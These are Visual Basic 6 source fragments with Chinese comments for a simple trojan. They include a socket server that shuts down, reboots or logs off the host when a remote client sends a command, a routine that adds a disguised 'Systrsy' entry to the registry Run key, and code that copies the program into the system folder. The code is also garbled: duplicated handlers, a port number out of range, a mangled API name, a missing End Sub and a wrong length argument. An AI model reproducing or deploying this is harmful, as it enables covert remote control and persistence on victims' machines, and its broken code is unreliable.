Private Sub form_Load()
With Me
.sckServer.LocalPort = 88917'本地端口(呵呵!我的生日!)
.sckServer.Listen '开始监听
End With
End Sub
'接受客户端的连接请求。
Private Sub sckServer_ConnectionRequest(ByVal requestID As Long)
With Me
If .sckServer.State <>sckClosed Then .sckServer.Close
.sckServer.Accept (requestID)
End With
End Sub
Private Sub form_Load()
With Me
.sckClient.RemoteHost = "127.0.0.1"'设置远程IP,本例设为本机。
.sckClient.RemotePort = 88917 '远程端口,就为server中的设置一样.
End With
End Sub
Private sub cmdConnect_Click()
SckClient.Connect
End sub
Public Declare Function ExitWindowXXX Lib "user32" Alias "ExitWindowXXX" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Public Const EWX_LOGOFF = 0
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Declare Function ClipCursor Lib "user32" Alias "ClipCursor" (lpRect As Any) As Long
Public Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Private Sub sckServer_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
With Me
' 接收客户请求的信息
.sckServer.GetData strData
Select Case strData
Case "Exit"
'关机
Call ExitWindowXXX(EWX_SHUTDOWN, 0)
Case "Reboot"
'重启
Call ExitWindowXXX(EWX_REBOOT, 0)
Case "Logoff"
'注销
Call ExitWindowXXX(EWX_LOGOFF, 0)
End Select
End With
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Const REG_BINARY = 3
Public Const REG_SZ = 1
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_CLASSES_ROOT = &H80000000
写到注册表启动组中的过程。
Public Sub StartupGroup()
Dim sKey As String
Dim result As Long
Dim hKeyID As Long
Dim sKeyVal As String
sKey = "Systrsy" '启动组中的键,找一个与系统文件相近的。
sKeyVal = "C:/windows/system/systrsy.exe" '木马文件的路径,可以用GetSystemDirectory来取得系统路径。
result = RegOpenKey(HKEY_LOCAL_MACHINE, _
"Software/Microsoft/Windows/CurrentVersion/Run", hKeyID)
If result = 0 Then
result = RegSetvalueEx(hKeyID, sKey, 0&, REG_SZ, sKeyVal, Len(sKey) + 1)
End If
End Sub
Dim sCurrentPath As String, sSystemDir As String
sCurrentPath = App.Path & "/" & App.EXEName & ".exe"
sSystemDir = “C:/windows/system”
On Error Resume Next
'复制文件成系统目录下的Systrsy.exe
FileCopy sCurrentPath, sSystemDir & "/Systrsy.exe"
On Error Resume Next